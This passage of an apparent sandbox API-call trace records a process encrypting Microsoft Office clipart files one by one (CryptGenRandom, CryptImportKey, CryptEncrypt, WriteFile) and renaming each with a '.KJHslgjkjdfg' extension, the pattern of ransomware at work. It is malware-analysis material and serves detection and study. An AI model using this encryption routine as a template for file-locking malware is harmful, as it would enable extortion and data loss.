dwFlags=0x0) returned 1 [0181.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.622] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ba0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1ba0, lpOverlapped=0x0) returned 1 [0181.623] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ba0, dwBufLen=0x1ba0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ba0) returned 1 [0181.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.623] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ba0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ba0, lpOverlapped=0x0) returned 1 [0181.623] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.624] SetEndOfFile (hFile=0x130) returned 1 [0181.627] GetProcessHeap () returned 0x990000 [0181.627] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.627] GetProcessHeap () returned 0x990000 [0181.627] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.627] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.kjhslgjkjdfg")) returned 1 [0181.631] CloseHandle (hObject=0x130) returned 1 [0181.631] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d83ea00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d83ea00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0181.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.632] GetProcessHeap () returned 0x990000 [0181.632] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.632] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.633] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.633] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.633] GetProcessHeap () returned 0x990000 [0181.634] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.634] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.634] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.634] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.636] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.637] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.637] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.637] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.637] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.637] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.637] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd10, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd10, lpOverlapped=0x0) returned 1 [0181.637] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd10, dwBufLen=0xd10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd10) returned 1 [0181.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.637] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd10, lpOverlapped=0x0) returned 1 [0181.637] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.637] SetEndOfFile (hFile=0x130) returned 1 [0181.640] GetProcessHeap () returned 0x990000 [0181.640] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.640] GetProcessHeap () returned 0x990000 [0181.640] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.kjhslgjkjdfg")) returned 1 [0181.644] CloseHandle (hObject=0x130) returned 1 [0181.644] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0181.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.644] GetProcessHeap () returned 0x990000 [0181.644] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.644] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.644] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.647] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.647] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.647] GetProcessHeap () returned 0x990000 [0181.647] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.647] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.647] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.647] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.647] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.647] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.647] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.647] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.647] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.647] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.647] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.647] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.647] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x63c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x63c, lpOverlapped=0x0) returned 1 [0181.648] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x640, dwBufLen=0x640 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x640) returned 1 [0181.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.648] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x640, lpOverlapped=0x0) returned 1 [0181.648] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.648] SetEndOfFile (hFile=0x130) returned 1 [0181.650] GetProcessHeap () returned 0x990000 [0181.651] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.651] GetProcessHeap () returned 0x990000 [0181.651] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.651] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.kjhslgjkjdfg")) returned 1 [0181.656] CloseHandle (hObject=0x130) returned 1 [0181.656] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0181.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.658] GetProcessHeap () returned 0x990000 [0181.658] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.658] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.658] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.659] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.659] GetProcessHeap () returned 0x990000 [0181.659] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.659] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.659] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.659] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.661] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.661] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.661] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.661] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.661] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.661] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.661] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.661] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.661] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f20, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f20, lpOverlapped=0x0) returned 1 [0181.662] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f20, dwBufLen=0x1f20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f20) returned 1 [0181.662] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.662] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f20, lpOverlapped=0x0) returned 1 [0181.663] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.663] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ff4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.663] SetEndOfFile (hFile=0x130) returned 1 [0181.665] GetProcessHeap () returned 0x990000 [0181.665] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.665] GetProcessHeap () returned 0x990000 [0181.665] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.665] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.kjhslgjkjdfg")) returned 1 [0181.668] CloseHandle (hObject=0x130) returned 1 [0181.668] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0181.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.669] GetProcessHeap () returned 0x990000 [0181.669] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.669] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.669] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.672] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.672] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.672] GetProcessHeap () returned 0x990000 [0181.672] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.672] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.672] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.672] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.672] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.673] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.673] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.673] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.673] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.673] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.673] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x728, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x728, lpOverlapped=0x0) returned 1 [0181.673] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x730, dwBufLen=0x730 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x730) returned 1 [0181.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.673] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x730, lpOverlapped=0x0) returned 1 [0181.674] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.674] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.674] SetEndOfFile (hFile=0x130) returned 1 [0181.676] GetProcessHeap () returned 0x990000 [0181.677] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.677] GetProcessHeap () returned 0x990000 [0181.677] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.677] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.kjhslgjkjdfg")) returned 1 [0181.680] CloseHandle (hObject=0x130) returned 1 [0181.714] 